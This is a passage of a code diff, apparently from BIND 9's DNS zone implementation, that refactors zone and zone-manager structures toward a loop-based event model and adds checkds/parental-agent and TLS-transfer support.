+/*
+ * Initial size of the keymgmt hash table.
+ */
+#define DNS_KEYMGMT_HASH_BITS 12
+
 struct dns_zone {
 	/* Unlocked */
 	unsigned int magic;
 	isc_mutex_t lock;
-	isc_mutex_t keyflock;
 #ifdef DNS_ZONE_CHECKLOCK
 	bool locked;
 #endif /* ifdef DNS_ZONE_CHECKLOCK */
 	isc_mem_t *mctx;
-	isc_refcount_t erefs;
+	isc_refcount_t references;
 
 	isc_rwlock_t dblock;
 	dns_db_t *db; /* Locked by dblock */
 
+	unsigned int tid;
+
 	/* Locked */
 	dns_zonemgr_t *zmgr;
 	ISC_LINK(dns_zone_t) link; /* Used by zmgr. */
+	isc_loop_t *loop;
 	isc_timer_t *timer;
 	isc_refcount_t irefs;
 	dns_name_t origin;
@@ -265,6 +301,7 @@ struct dns_zone {
 	isc_stdtime_t key_expiry;
 	isc_stdtime_t log_key_expired_timer;
 	char *keydirectory;
+	dns_keyfileio_t *kfio;
 
 	uint32_t maxrefresh;
 	uint32_t minrefresh;
@@ -273,37 +310,25 @@ struct dns_zone {
 
 	uint32_t maxrecords;
 
-	isc_sockaddr_t *masters;
-	isc_dscp_t *masterdscps;
-	dns_name_t **masterkeynames;
-	dns_name_t **mastertlsnames;
-	bool *mastersok;
-	unsigned int masterscnt;
-	unsigned int curmaster;
-	isc_sockaddr_t masteraddr;
+	dns_remote_t primaries;
+
+	dns_remote_t parentals;
+	dns_dnsseckeylist_t checkds_ok;
+	dns_checkdstype_t checkdstype;
+	uint32_t nsfetchcount;
+	uint32_t parent_nscount;
+
+	dns_remote_t notify;
 	dns_notifytype_t notifytype;
-	isc_sockaddr_t *notify;
-	dns_name_t **notifykeynames;
-	dns_name_t **notifytlsnames;
-	isc_dscp_t *notifydscp;
-	unsigned int notifycnt;
 	isc_sockaddr_t notifyfrom;
-	isc_task_t *task;
-	isc_task_t *loadtask;
 	isc_sockaddr_t notifysrc4;
 	isc_sockaddr_t notifysrc6;
+	isc_sockaddr_t parentalsrc4;
+	isc_sockaddr_t parentalsrc6;
 	isc_sockaddr_t xfrsource4;
 	isc_sockaddr_t xfrsource6;
-	isc_sockaddr_t altxfrsource4;
-	isc_sockaddr_t altxfrsource6;
 	isc_sockaddr_t sourceaddr;
-	isc_dscp_t notifysrc4dscp;
-	isc_dscp_t notifysrc6dscp;
-	isc_dscp_t xfrsource4dscp;
-	isc_dscp_t xfrsource6dscp;
-	isc_dscp_t altxfrsource4dscp;
-	isc_dscp_t altxfrsource6dscp;
-	dns_xfrin_ctx_t *xfr;	    /* task locked */
+	dns_xfrin_t *xfr;	    /* loop locked */
 	dns_tsigkey_t *tsigkey;	    /* key used for xfr */
 	dns_transport_t *transport; /* transport used for xfr */
 	/* Access Control Lists */
@@ -317,16 +342,14 @@ struct dns_zone {
 	bool zero_no_soa_ttl;
 	dns_severity_t check_names;
 	ISC_LIST(dns_notify_t) notifies;
+	ISC_LIST(dns_checkds_t) checkds_requests;
 	dns_request_t *request;
-	dns_loadctx_t *lctx;
-	dns_io_t *readio;
-	dns_dumpctx_t *dctx;
-	dns_io_t *writeio;
+	dns_loadctx_t *loadctx;
+	dns_dumpctx_t *dumpctx;
 	uint32_t maxxfrin;
 	uint32_t maxxfrout;
 	uint32_t idlein;
 	uint32_t idleout;
-	isc_event_t ctlevent;
 	dns_ssutable_t *ssutable;
 	uint32_t sigvalidityinterval;
 	uint32_t keyvalidityinterval;
@@ -334,6 +357,7 @@ struct dns_zone {
 	dns_view_t *view;
 	dns_view_t *prev_view;
 	dns_kasp_t *kasp;
+	dns_kasp_t *defaultkasp;
 	dns_checkmxfunc_t checkmx;
 	dns_checksrvfunc_t checksrv;
 	dns_checknsfunc_t checkns;
@@ -380,7 +404,7 @@ struct dns_zone {
 	/*%
 	 * List of outstanding NSEC3PARAM change requests.
 	 */
-	isc_eventlist_t setnsec3param_queue;
+	ISC_LIST(struct np3) setnsec3param_queue;
 	/*%
 	 * Signing / re-signing quantum stopping parameters.
 	 */
@@ -456,13 +480,11 @@ struct dns_zone {
 	 * Inline zone signing state.
 	 */
 	dns_diff_t rss_diff;
-	isc_eventlist_t rss_events;
-	isc_eventlist_t rss_post;
 	dns_dbversion_t *rss_newver;
 	dns_dbversion_t *rss_oldver;
 	dns_db_t *rss_db;
 	dns_zone_t *rss_raw;
-	isc_event_t *rss_event;
+	struct rss *rss;
 	dns_update_state_t *rss_state;
 
 	isc_stats_t *gluecachestats;
@@ -495,7 +517,7 @@ typedef enum {
 	DNS_ZONEFLG_FIXJOURNAL = 0x00000800U,  /*%< journal file had
 						* recoverable error,
 						* needs rewriting */
-	DNS_ZONEFLG_NOMASTERS = 0x00001000U,   /*%< an attempt to refresh a
+	DNS_ZONEFLG_NOPRIMARIES = 0x00001000U, /*%< an attempt to refresh a
 						* zone with no primaries
 						* occurred */
 	DNS_ZONEFLG_LOADING = 0x00002000U,     /*%< load from disk in progress*/
@@ -511,7 +533,7 @@ typedef enum {
 	DNS_ZONEFLG_NOIXFR = 0x00100000U, /*%< IXFR failed, force AXFR */
 	DNS_ZONEFLG_FLUSH = 0x00200000U,
 	DNS_ZONEFLG_NOEDNS = 0x00400000U,
-	DNS_ZONEFLG_USEALTXFRSRC = 0x00800000U,
+	DNS_ZONEFLG_USEALTXFRSRC = 0x00800000U, /*%< Obsoleted. */
 	DNS_ZONEFLG_SOABEFOREAXFR = 0x01000000U,
 	DNS_ZONEFLG_NEEDCOMPACT = 0x02000000U,
 	DNS_ZONEFLG_REFRESHING = 0x04000000U, /*%< Refreshing keydata */
@@ -523,11 +545,6 @@ typedef enum {
 						      * notify due to the zone
 						      * just being loaded for
 						      * the first time. */
-	/*
-	 * DO NOT add any new zone flags here until all platforms
-	 * support 64-bit enum values. Currently they fail on
-	 * Windows.
-	 */
 	DNS_ZONEFLG___MAX = UINT64_MAX, /* trick to make the ENUM 64-bit wide */
 } dns_zoneflg_t;
 
@@ -569,20 +586,16 @@ struct dns_zonemgr {
 	unsigned int magic;
 	isc_mem_t *mctx;
 	isc_refcount_t refs;
-	isc_taskmgr_t *taskmgr;
-	isc_timermgr_t *timermgr;
-	isc_socketmgr_t *socketmgr;
+	isc_loopmgr_t *loopmgr;
 	isc_nm_t *netmgr;
-	isc_taskpool_t *zonetasks;
-	isc_taskpool_t *loadtasks;
-	isc_task_t *task;
-	isc_pool_t *mctxpool;
+	uint32_t workers;
+	isc_mem_t **mctxpool;
+	isc_ratelimiter_t *checkdsrl;
 	isc_ratelimiter_t *notifyrl;
 	isc_ratelimiter_t *refreshrl;
 	isc_ratelimiter_t *startupnotifyrl;
 	isc_ratelimiter_t *startuprefreshrl;
 	isc_rwlock_t rwlock;
-	isc_mutex_t iolock;
 	isc_rwlock_t urlock;
 
 	/* Locked by rwlock. */
@@ -593,20 +606,20 @@ struct dns_zonemgr {
 	/* Configuration data. */
 	uint32_t transfersin;
 	uint32_t transfersperns;
+	unsigned int checkdsrate;
 	unsigned int notifyrate;
 	unsigned int startupnotifyrate;
 	unsigned int serialqueryrate;
 	unsigned int startupserialqueryrate;
 
-	/* Locked by iolock */
-	uint32_t iolimit;
-	uint32_t ioactive;
-	dns_iolist_t high;
-	dns_iolist_t low;
-
 	/* Locked by urlock. */
 	/* LRU cache */
 	struct dns_unreachable unreachable[UNREACH_CACHE_SIZE];
+
+	dns_keymgmt_t *keymgmt;
+
+	isc_tlsctx_cache_t *tlsctx_cache;
+	isc_rwlock_t tlsctx_cache_rwlock;
 };
 
 /*%
@@ -620,16 +633,38 @@ struct dns_notify {
 	dns_adbfind_t *find;
 	dns_request_t *request;
 	dns_name_t ns;
+	isc_sockaddr_t src;
 	isc_sockaddr_t dst;
 	dns_tsigkey_t *key;
 	dns_transport_t *transport;
-	isc_dscp_t dscp;
 	ISC_LINK(dns_notify_t) link;
-	isc_event_t *event;
+	isc_rlevent_t *rlevent;
 };
 
-#define DNS_NOTIFY_NOSOA   0x0001U
-#define DNS_NOTIFY_STARTUP 0x0002U
+typedef enum dns_notify_flags {
+	DNS_NOTIFY_NOSOA = 1 << 0,
+	DNS_NOTIFY_STARTUP = 1 << 1,
+	DNS_NOTIFY_TCP = 1 << 2,
+} dns_notify_flags_t;
+
+/*%
+ * Hold checkds state.
+ */
+struct dns_checkds {
+	unsigned int magic;
+	dns_notify_flags_t flags;
+	isc_mem_t *mctx;
+	dns_zone_t *zone;
+	dns_adbfind_t *find;
+	dns_request_t *request;
+	dns_name_t ns;
+	isc_sockaddr_t src;
+	isc_sockaddr_t dst;
+	dns_tsigkey_t *key;
+	dns_transport_t *transport;
+	ISC_LINK(dns_checkds_t) link;
+	isc_rlevent_t *rlevent;
+};
 
 /*%
  *	dns_stub holds state while performing a 'stub' transfer.
@@ -650,8 +685,6 @@ struct dns_stub {
  *	Hold load state.
  */
 struct dns_load {
-	unsigned int magic;
-	isc_mem_t *mctx;
 	dns_zone_t *zone;
 	dns_db_t *db;
 	isc_time_t loadtime;
@@ -669,24 +702,13 @@ struct dns_forward {
 	dns_request_t *request;
 	uint32_t which;
 	isc_sockaddr_t addr;
+	dns_transport_t *transport;
 	dns_updatecallback_t callback;
 	void *callback_arg;
 	unsigned int options;
 	ISC_LINK(dns_forward_t) link;
 };
 
-/*%
- *	Hold IO request state.
- */
-struct dns_io {
-	unsigned int magic;
-	dns_zonemgr_t *zmgr;
-	bool high;
-	isc_task_t *task;
-	ISC_LINK(dns_io_t) link;
-	isc_event_t *event;
-};
-
 /*%
  *	Hold state for when we are signing a zone with a new
  *	DNSKEY as result of an update.
@@ -714,6 +736,7 @@ struct dns_nsec3chain {
 	bool save_delete_nsec;
 	ISC_LINK(dns_nsec3chain_t) link;
 };
+
 /*%<
  * 'dbiterator' contains a iterator for the database.  If we are creating
  * a NSEC3 chain only the non-NSEC3 nodes will be iterated.  If we are
@@ -737,6 +760,7 @@ struct dns_nsec3chain {
  */
 
 struct dns_keyfetch {
+	isc_mem_t *mctx;
 	dns_fixedname_t name;
 	dns_rdataset_t keydataset;
 	dns_rdataset_t dnskeyset;
@@ -746,13 +770,23 @@ struct dns_keyfetch {
 	dns_fetch_t *fetch;
 };
 
+struct dns_nsfetch {
+	isc_mem_t *mctx;
+	dns_fixedname_t name;
+	dns_name_t pname;
+	dns_rdataset_t nsrrset;
+	dns_rdataset_t nssigset;
+	dns_zone_t *zone;
+	dns_fetch_t *fetch;
+};
+
 /*%
  * Hold state for an asynchronous load
  */
 struct dns_asyncload {
 	dns_zone_t *zone;
 	unsigned int flags;
-	dns_zt_zoneloaded_t loaded;
+	dns_zt_callback_t *loaded;
 	void *loaded_arg;
 };
 
@@ -773,12 +807,20 @@ struct dns_include {
 #define HOUR  3600
 #define DAY   (24 * HOUR)
 #define MONTH (30 * DAY)
-LIBDNS_EXTERNAL_DATA unsigned int dns_zone_mkey_hour = HOUR;
-LIBDNS_EXTERNAL_DATA unsigned int dns_zone_mkey_day = DAY;
-LIBDNS_EXTERNAL_DATA unsigned int dns_zone_mkey_month = MONTH;
+unsigned int dns_zone_mkey_hour = HOUR;
+unsigned int dns_zone_mkey_day = DAY;
+unsigned int dns_zone_mkey_month = MONTH;
 
 #define SEND_BUFFER_SIZE 2048
 
+static void
+zone_timer_set(dns_zone_t *zone, isc_time_t *next, isc_time_t *now);
+
+typedef struct zone_settimer {
+	dns_zone_t *zone;
+	isc_time_t now;
+} zone_settimer_t;
+
 static void
 zone_settimer(dns_zone_t *, isc_time_t *);
 static void
@@ -810,21 +852,25 @@ static void
 zone_idetach(dns_zone_t **zonep);
 static isc_result_t
 zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump);
-static inline void
+static void
 zone_attachdb(dns_zone_t *zone, dns_db_t *db);
-static inline void
+static void
 zone_detachdb(dns_zone_t *zone);
+static void
+zone_catz_enable(dns_zone_t *zone, dns_catz_zones_t *catzs);
+static void
+zone_catz_disable(dns_zone_t *zone);
 static isc_result_t
 default_journal(dns_zone_t *zone);
 static void
-zone_xfrdone(dns_zone_t *zone, isc_result_t result);
+zone_xfrdone(dns_zone_t *zone, uint32_t *expireopt, isc_result_t result);
 static isc_result_t
 zone_postload(dns_zone_t *zone, dns_db_t *db, isc_time_t loadtime,
 	      isc_result_t result);
 static void
 zone_needdump(dns_zone_t *zone, unsigned int delay);
 static void
-zone_shutdown(isc_task_t *, isc_event_t *);
+zone_shutdown(void *arg);
 static void
 zone_loaddone(void *arg, isc_result_t result);
 static isc_result_t
@@ -840,18 +886,34 @@ zone_viewname_tostr(dns_zone_t *zone, char *buf, size_t length);
 static isc_result_t
 zone_send_secureserial(dns_zone_t *zone, uint32_t serial);
 static void
-refresh_callback(isc_task_t *, isc_event_t *);
+refresh_callback(void *arg);
 static void
-stub_callback(isc_task_t *, isc_event_t *);
+stub_callback(void *arg);
 static void
 queue_soa_query(dns_zone_t *zone);
 static void
-soa_query(isc_task_t *, isc_event_t *);
+soa_query(void *arg);
 static void
 ns_query(dns_zone_t *zone, dns_rdataset_t *soardataset, dns_stub_t *stub);
 static int
 message_count(dns_message_t *msg, dns_section_t section, dns_rdatatype_t type);
 static void
+checkds_cancel(dns_zone_t *zone);
+static void
+checkds_find_address(dns_checkds_t *checkds);
+static void
+checkds_send(dns_zone_t *zone);
+static void
+checkds_createmessage(dns_zone_t *zone, dns_message_t **messagep);
+static void
+checkds_done(void *arg);
+static void
+checkds_send_tons(dns_checkds_t *checkds);
+static void
+checkds_send_toaddr(void *arg);
+static void
+nsfetch_levelup(dns_nsfetch_t *nsfetch);
+static void
 notify_cancel(dns_zone_t *zone);
 static void
 notify_find_address(dns_notify_t *notify);
@@ -861,28 +923,21 @@ static isc_result_t
 notify_createmessage(dns_zone_t *zone, unsigned int flags,
 		     dns_message_t **messagep);
 static void
-notify_done(isc_task_t *task, isc_event_t *event);
+notify_done(void *arg);
 static void
-notify_send_toaddr(isc_task_t *task, isc_event_t *event);
+notify_send_toaddr(void *arg);
 static isc_result_t
 zone_dump(dns_zone_t *, bool);
 static void
-got_transfer_quota(isc_task_t *task, isc_event_t *event);
+got_transfer_quota(void *arg);
 static isc_result_t
 zmgr_start_xfrin_ifquota(dns_zonemgr_t *zmgr, dns_zone_t *zone);
 static void
 zmgr_resume_xfrs(dns_zonemgr_t *zmgr, bool multi);
 static void
 zonemgr_free(dns_zonemgr_t *zmgr);
-static isc_result_t
-zonemgr_getio(dns_zonemgr_t *zmgr, bool high, isc_task_t *task,
-	      isc_taskaction_t action, void *arg, dns_io_t **iop);
-static void
-zonemgr_putio(dns_io_t **iop);
-static void
-zonemgr_cancelio(dns_io_t *io);
 static void
-rss_post(dns_zone_t *, isc_event_t *);
+rss_post(void *arg);
 
 static isc_result_t
 zone_get_from_db(dns_zone_t *zone, dns_db_t *db, unsigned int *nscount,
@@ -893,7 +948,7 @@ zone_get_from_db(dns_zone_t *zone, dns_db_t *db, unsigned int *nscount,
 static void
 zone_freedbargs(dns_zone_t *zone);
 static void
-forward_callback(isc_task_t *task, isc_event_t *event);
+forward_callback(void *arg);
 static void
 zone_saveunique(dns_zone_t *zone, const char *path, const char *templat);
 static void
@@ -921,8 +976,24 @@ zone_journal_compact(dns_zone_t *zone, dns_db_t *db, uint32_t serial);
 static isc_result_t
 zone_journal_rollforward(dns_zone_t *zone, dns_db_t *db, bool *needdump,
 			 bool *fixjournal);
+static void
+setnsec3param(void *arg);
+
+static void
+zmgr_tlsctx_attach(dns_zonemgr_t *zmgr, isc_tlsctx_cache_t **ptlsctx_cache);
+/*%<
+ *	Attach to TLS client context cache used for zone transfers via
+ *	encrypted transports (e.g. XoT).
+ *
+ * The obtained reference needs to be detached by a call to
+ * 'isc_tlsctx_cache_detach()' when not needed anymore.
+ *
+ * Requires:
+ *\li	'zmgr' is a valid zone manager.
+ *\li	'ptlsctx_cache' is not 'NULL' and points to 'NULL'.
+ */
 
-#define ENTER zone_debuglog(zone, me, 1, "enter")
+#define ENTER zone_debuglog(zone, __func__, 1, "enter")
 
 static const unsigned int dbargc_default = 1;
 static const char *dbargv_default[] = { "rbt" };
@@ -969,20 +1040,21 @@ struct nsec3param {
 	ISC_LINK(nsec3param_t) link;
 };
 typedef ISC_LIST(nsec3param_t) nsec3paramlist_t;
-struct np3event {
-	isc_event_t event;
+
+struct np3 {
+	dns_zone_t *zone;
 	nsec3param_t params;
+	ISC_LINK(struct np3) link;
 };
 
-struct ssevent {
-	isc_event_t event;
+struct setserial {
+	dns_zone_t *zone;
 	uint32_t serial;
 };
 
 struct stub_cb_args {
 	dns_stub_t *stub;
 	dns_tsigkey_t *tsig_key;
-	isc_dscp_t dscp;
 	uint16_t udpsize;
 	int timeout;
 	bool reqnsid;
@@ -998,7 +1070,7 @@ struct stub_glue_request {
 /*%
  * Increment resolver-related statistics counters.  Zone must be locked.
  */
-static inline void
+static void
 inc_stats(dns_zone_t *zone, isc_statscounter_t counter) {
 	if (zone->stats != NULL) {
 		isc_stats_increment(zone->stats, counter);
@@ -1009,124 +1081,101 @@ inc_stats(dns_zone_t *zone, isc_statscounter_t counter) {
  ***	Public functions.
  ***/
 
-isc_result_t
-dns_zone_create(dns_zone_t **zonep, isc_mem_t *mctx) {
-	isc_result_t result;
+void
+dns_zone_create(dns_zone_t **zonep, isc_mem_t *mctx, unsigned int tid) {
 	isc_time_t now;
 	dns_zone_t *zone = NULL;
-	dns_zone_t z = { .masterformat = dns_masterformat_none,
-			 .journalsize = -1,
-			 .rdclass = dns_rdataclass_none,
-			 .type = dns_zone_none,
-			 .refresh = DNS_ZONE_DEFAULTREFRESH,
-			 .retry = DNS_ZONE_DEFAULTRETRY,
-			 .maxrefresh = DNS_ZONE_MAXREFRESH,
-			 .minrefresh = DNS_ZONE_MINREFRESH,
-			 .maxretry = DNS_ZONE_MAXRETRY,
-			 .minretry = DNS_ZONE_MINRETRY,
-			 .notifytype = dns_notifytype_yes,
-			 .zero_no_soa_ttl = true,
-			 .check_names = dns_severity_ignore,
-			 .idlein = DNS_DEFAULT_IDLEIN,
-			 .idleout = DNS_DEFAULT_IDLEOUT,
-			 .notifysrc4dscp = -1,
-			 .notifysrc6dscp = -1,
-			 .xfrsource4dscp = -1,
-			 .xfrsource6dscp = -1,
-			 .altxfrsource4dscp = -1,
-			 .altxfrsource6dscp = -1,
-			 .maxxfrin = MAX_XFER_TIME,
-			 .maxxfrout = MAX_XFER_TIME,
-			 .sigvalidityinterval = 30 * 24 * 3600,
-			 .sigresigninginterval = 7 * 24 * 3600,
-			 .statlevel = dns_zonestat_none,
-			 .notifydelay = 5,
-			 .signatures = 10,
-			 .nodes = 100,
-			 .privatetype = (dns_rdatatype_t)0xffffU,
-			 .rpz_num = DNS_RPZ_INVALID_NUM,
-			 .requestixfr = true,
-			 .ixfr_ratio = 100,
-			 .requestexpire = true,
-			 .updatemethod = dns_updatemethod_increment,
-			 .magic = ZONE_MAGIC };
 
 	REQUIRE(zonep != NULL && *zonep == NULL);
 	REQUIRE(mctx != NULL);
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 	zone = isc_mem_get(mctx, sizeof(*zone));
-	*zone = z;
+	*zone = (dns_zone_t){
+		.masterformat = dns_masterformat_none,
+		.journalsize = -1,
+		.rdclass = dns_rdataclass_none,
+		.type = dns_zone_none,
+		.refresh = DNS_ZONE_DEFAULTREFRESH,
+		.retry = DNS_ZONE_DEFAULTRETRY,
+		.maxrefresh = DNS_ZONE_MAXREFRESH,
+		.minrefresh = DNS_ZONE_MINREFRESH,
+		.maxretry = DNS_ZONE_MAXRETRY,
+		.minretry = DNS_ZONE_MINRETRY,
+		.checkdstype = dns_checkdstype_yes,
+		.notifytype = dns_notifytype_yes,
+		.zero_no_soa_ttl = true,
+		.check_names = dns_severity_ignore,
+		.idlein = DNS_DEFAULT_IDLEIN,
+		.idleout = DNS_DEFAULT_IDLEOUT,
+		.maxxfrin = MAX_XFER_TIME,
+		.maxxfrout = MAX_XFER_TIME,
+		.sigvalidityinterval = 30 * 24 * 3600,
+		.sigresigninginterval = 7 * 24 * 3600,
+		.statlevel = dns_zonestat_none,
+		.notifydelay = 5,
+		.signatures = 10,
+		.nodes = 100,
+		.privatetype = (dns_rdatatype_t)0xffffU,
+		.rpz_num = DNS_RPZ_INVALID_NUM,
+		.requestixfr = true,
+		.ixfr_ratio = 100,
+		.requestexpire = true,
+		.updatemethod = dns_updatemethod_increment,
+		.tid = tid,
+		.notifytime = now,
+		.newincludes = ISC_LIST_INITIALIZER,
+		.notifies = ISC_LIST_INITIALIZER,
+		.checkds_requests = ISC_LIST_INITIALIZER,
+		.signing = ISC_LIST_INITIALIZER,
+		.nsec3chain = ISC_LIST_INITIALIZER,
+		.setnsec3param_queue = ISC_LIST_INITIALIZER,
+		.forwards = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+		.statelink = ISC_LINK_INITIALIZER,
+	};
+	dns_remote_t r = {
+		.magic = DNS_REMOTE_MAGIC,
+	};
 
-	zone->mctx = NULL;
 	isc_mem_attach(mctx, &zone->mctx);
 	isc_mutex_init(&zone->lock);
-	isc_mutex_init(&zone->keyflock);
 	ZONEDB_INITLOCK(&zone->dblock);
-	/* XXX MPA check that all elements are initialised */
-#ifdef DNS_ZONE_CHECKLOCK
-	zone->locked = false;
-#endif /* ifdef DNS_ZONE_CHECKLOCK */
-
-	zone->notifytime = now;
 
-	ISC_LINK_INIT(zone, link);
-	isc_refcount_init(&zone->erefs, 1);
+	isc_refcount_init(&zone->references, 1);
 	isc_refcount_init(&zone->irefs, 0);
 	dns_name_init(&zone->origin, NULL);
-	ISC_LIST_INIT(zone->includes);
-	ISC_LIST_INIT(zone->newincludes);
-	atomic_init(&zone->flags, 0);
-	atomic_init(&zone->options, 0);
-	atomic_init(&zone->keyopts, 0);
-	isc_time_settoepoch(&zone->expiretime);
-	isc_time_settoepoch(&zone->refreshtime);
-	isc_time_settoepoch(&zone->dumptime);
-	isc_time_settoepoch(&zone->loadtime);
-	isc_time_settoepoch(&zone->resigntime);
-	isc_time_settoepoch(&zone->keywarntime);
-	isc_time_settoepoch(&zone->signingtime);
-	isc_time_settoepoch(&zone->nsec3chaintime);
-	isc_time_settoepoch(&zone->refreshkeytime);
-	ISC_LIST_INIT(zone->notifies);
 	isc_sockaddr_any(&zone->notifysrc4);
 	isc_sockaddr_any6(&zone->notifysrc6);
+	isc_sockaddr_any(&zone->parentalsrc4);
+	isc_sockaddr_any6(&zone->parentalsrc6);
 	isc_sockaddr_any(&zone->xfrsource4);
 	isc_sockaddr_any6(&zone->xfrsource6);
-	isc_sockaddr_any(&zone->altxfrsource4);
-	isc_sockaddr_any6(&zone->altxfrsource6);
-	ISC_LINK_INIT(zone, statelink);
-	ISC_LIST_INIT(zone->signing);
-	ISC_LIST_INIT(zone->nsec3chain);
-	ISC_LIST_INIT(zone->setnsec3param_queue);
-	ISC_LIST_INIT(zone->forwards);
-	ISC_LIST_INIT(zone->rss_events);
-	ISC_LIST_INIT(zone->rss_post);
-
-	result = isc_stats_create(mctx, &zone->gluecachestats,
-				  dns_gluecachestatscounter_max);
-	if (result != ISC_R_SUCCESS) {
-		goto free_refs;
-	}
+
+	zone->primaries = r;
+	zone->parentals = r;
+	zone->notify = r;
+	zone->defaultkasp = NULL;
+
+	isc_stats_create(mctx, &zone->gluecachestats,
+			 dns_gluecachestatscounter_max);
+
+	zone->magic = ZONE_MAGIC;
 
 	/* Must be after magic is set. */
 	dns_zone_setdbtype(zone, dbargc_default, dbargv_default);
 
-	ISC_EVENT_INIT(&zone->ctlevent, sizeof(zone->ctlevent), 0, NULL,
-		       DNS_EVENT_ZONECONTROL, zone_shutdown, zone, zone, NULL,
-		       NULL);
 	*zonep = zone;
-	return (ISC_R_SUCCESS);
+}
 
-free_refs:
-	isc_refcount_decrement0(&zone->erefs);
-	isc_refcount_destroy(&zone->erefs);
-	isc_refcount_destroy(&zone->irefs);
-	ZONEDB_DESTROYLOCK(&zone->dblock);
-	isc_mutex_destroy(&zone->keyflock);
-	isc_mutex_destroy(&zone->lock);
-	isc_mem_putanddetach(&zone->mctx, zone, sizeof(*zone));
-	return (result);
+static void
+clear_keylist(dns_dnsseckeylist_t *list, isc_mem_t *mctx) {
+	dns_dnsseckey_t *key;
+	while (!ISC_LIST_EMPTY(*list)) {
+		key = ISC_LIST_HEAD(*list);
+		ISC_LIST_UNLINK(*list, key, link);
+		dns_dnsseckey_destroy(mctx, &key);
+	}
 }
 
 /*
@@ -1135,52 +1184,36 @@ dns_zone_create(dns_zone_t **zonep, isc_mem_t *mctx) {
  */
 static void
 zone_free(dns_zone_t *zone) {
-	dns_signing_t *signing;
-	dns_nsec3chain_t *nsec3chain;
-	isc_event_t *event;
-	dns_include_t *include;
+	dns_signing_t *signing = NULL;
+	dns_nsec3chain_t *nsec3chain = NULL;
+	dns_include_t *include = NULL;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
-	isc_refcount_destroy(&zone->erefs);
-	isc_refcount_destroy(&zone->irefs);
 	REQUIRE(!LOCKED_ZONE(zone));
 	REQUIRE(zone->timer == NULL);
 	REQUIRE(zone->zmgr == NULL);
 
+	isc_refcount_destroy(&zone->references);
+	isc_refcount_destroy(&zone->irefs);
+
 	/*
 	 * Managed objects.  Order is important.
 	 */
 	if (zone->request != NULL) {
 		dns_request_destroy(&zone->request); /* XXXMPA */
 	}
-	INSIST(zone->readio == NULL);
 	INSIST(zone->statelist == NULL);
-	INSIST(zone->writeio == NULL);
-
-	if (zone->task != NULL) {
-		isc_task_detach(&zone->task);
-	}
-	if (zone->loadtask != NULL) {
-		isc_task_detach(&zone->loadtask);
-	}
-	if (zone->view != NULL) {
-		dns_view_weakdetach(&zone->view);
-	}
-	if (zone->prev_view != NULL) {
-		dns_view_weakdetach(&zone->prev_view);
-	}
+	INSIST(zone->view == NULL);
+	INSIST(zone->prev_view == NULL);
 
 	/* Unmanaged objects */
-	while (!ISC_LIST_EMPTY(zone->setnsec3param_queue)) {
-		event = ISC_LIST_HEAD(zone->setnsec3param_queue);
-		ISC_LIST_UNLINK(zone->setnsec3param_queue, event, ev_link);
-		isc_event_free(&event);
-	}
-	while (!ISC_LIST_EMPTY(zone->rss_post)) {
-		event = ISC_LIST_HEAD(zone->rss_post);
-		ISC_LIST_UNLINK(zone->rss_post, event, ev_link);
-		isc_event_free(&event);
+	for (struct np3 *npe = ISC_LIST_HEAD(zone->setnsec3param_queue);
+	     npe != NULL; npe = ISC_LIST_HEAD(zone->setnsec3param_queue))
+	{
+		ISC_LIST_UNLINK(zone->setnsec3param_queue, npe, link);
+		isc_mem_put(zone->mctx, npe, sizeof(*npe));
 	}
+
 	for (signing = ISC_LIST_HEAD(zone->signing); signing != NULL;
 	     signing = ISC_LIST_HEAD(zone->signing))
 	{
@@ -1222,6 +1255,13 @@ zone_free(dns_zone_t *zone) {
 	if (zone->kasp != NULL) {
 		dns_kasp_detach(&zone->kasp);
 	}
+	if (zone->defaultkasp != NULL) {
+		dns_kasp_detach(&zone->defaultkasp);
+	}
+	if (!ISC_LIST_EMPTY(zone->checkds_ok)) {
+		clear_keylist(&zone->checkds_ok, zone->mctx);
+	}
+
 	zone->journalsize = -1;
 	if (zone->journal != NULL) {
 		isc_mem_free(zone->mctx, zone->journal);
@@ -1248,13 +1288,14 @@ zone_free(dns_zone_t *zone) {
 		zone->rpz_num = DNS_RPZ_INVALID_NUM;
 	}
 	if (zone->catzs != NULL) {
-		dns_catz_catzs_detach(&zone->catzs);
+		dns_catz_zones_detach(&zone->catzs);
 	}
 	zone_freedbargs(zone);
-	RUNTIME_CHECK(dns_zone_setprimaries(zone, NULL, NULL, NULL, 0) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(dns_zone_setalsonotify(zone, NULL, NULL, NULL, NULL, 0) ==
-		      ISC_R_SUCCESS);
+
+	dns_zone_setparentals(zone, NULL, NULL, NULL, NULL, 0);
+	dns_zone_setprimaries(zone, NULL, NULL, NULL, NULL, 0);
+	dns_zone_setalsonotify(zone, NULL, NULL, NULL, NULL, 0);
+
 	zone->check_names = dns_severity_ignore;
 	if (zone->update_acl != NULL) {
 		dns_acl_detach(&zone->update_acl);
@@ -1298,7 +1339,6 @@ zone_free(dns_zone_t *zone) {
 
 	/* last stuff */
 	ZONEDB_DESTROYLOCK(&zone->dblock);
-	isc_mutex_destroy(&zone->keyflock);
 	isc_mutex_destroy(&zone->lock);
 	zone->magic = 0;
 	isc_mem_putanddetach(&zone->mctx, zone, sizeof(*zone));
@@ -1308,7 +1348,7 @@ zone_free(dns_zone_t *zone) {
  * Returns true iff this the signed side of an inline-signing zone.
  * Caller should hold zone lock.
  */
-static inline bool
+static bool
 inline_secure(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 	if (zone->raw != NULL) {
@@ -1321,7 +1361,7 @@ inline_secure(dns_zone_t *zone) {
  * Returns true iff this the unsigned side of an inline-signing zone
  * Caller should hold zone lock.
  */
-static inline bool
+static bool
 inline_raw(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 	if (zone->secure != NULL) {
@@ -1383,6 +1423,15 @@ dns_zone_setnotifytype(dns_zone_t *zone, dns_notifytype_t notifytype) {
 	UNLOCK_ZONE(zone);
 }
 
+void
+dns_zone_setcheckdstype(dns_zone_t *zone, dns_checkdstype_t checkdstype) {
+	REQUIRE(DNS_ZONE_VALID(zone));
+
+	LOCK_ZONE(zone);
+	zone->checkdstype = checkdstype;
+	UNLOCK_ZONE(zone);
+}
+
 isc_result_t
 dns_zone_getserial(dns_zone_t *zone, uint32_t *serialp) {
 	isc_result_t result;
@@ -1444,8 +1493,8 @@ zone_freedbargs(dns_zone_t *zone) {
 		for (i = 0; i < zone->db_argc; i++) {
